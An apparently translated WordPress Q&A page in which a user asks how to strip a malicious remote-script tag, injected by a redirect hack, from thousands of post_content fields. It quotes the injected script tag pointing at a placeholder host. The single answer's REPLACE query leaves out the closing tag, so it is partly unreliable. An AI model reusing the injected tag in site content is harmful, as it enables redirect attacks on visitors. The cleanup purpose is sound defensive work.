MySQL:创建用于搜索字符串和替换的SQL查询

时间:2020-12-29 作者:Jack Borg-Cardona

我需要删除一个恶意字符串从2176个字段后,url重定向黑客。我对SQL非常熟悉,所以非常感谢您的帮助。我有MYSQL ClI或PHPmyAdmin可用。

详情如下

数据库是:Wordpress表是:wp\\u posts列是:post\\u content字符串是: <script src=\'https://https://xyz/js.php?s=q\' type=\'text/javascript\'></script><script src=\'https://https://xyz/js.php?s=q\' type=\'text/javascript\'></script><script src=\'https://https://xyz/js.php?s=q\' type=\'text/javascript\'></script><script src=\'https://https://xyz/js.php?s=q\' type=\'text/javascript\'></script><script src=\'https://https://xyz/js.php?s=q\' type=\'text/javascript\'></script><script src=\'https://https://xyz/js.php?s=q\' type=\'text/javascript\'></script><script src=\'https://https://xyz/js.php?s=q\' type=\'text/javascript\'></script><script src=\'https://https://xyz/js.php?s=q\' type=\'text/javascript\'></script>正确的替换查询是什么,以找到此字符串并将其替换为空白。我不能只清空字段,因为有时字段中有一个合法的值。

1 个回复
SO网友:Uwe

以下SQL查询将恶意脚本替换为空白:

UPDATE wp_posts
SET post_content = REPLACE(post_content, \'<script src=\\\'https://https://xyz/js.php?s=q\\\' type=\\\'text/javascript\\\'>\', \' \')

相关推荐

QUERY_POSTS函数的帮助

我有一个付费主题,它有以下手动硬编码的功能。它将调出8条最新帖子并显示它们:global $do_not_duplicate; global $post; query_posts( array( \'posts_per_page\' => \'8\', \'post__not_in\' => $do_not_duplicate, \'ignore_sticky_posts\' =>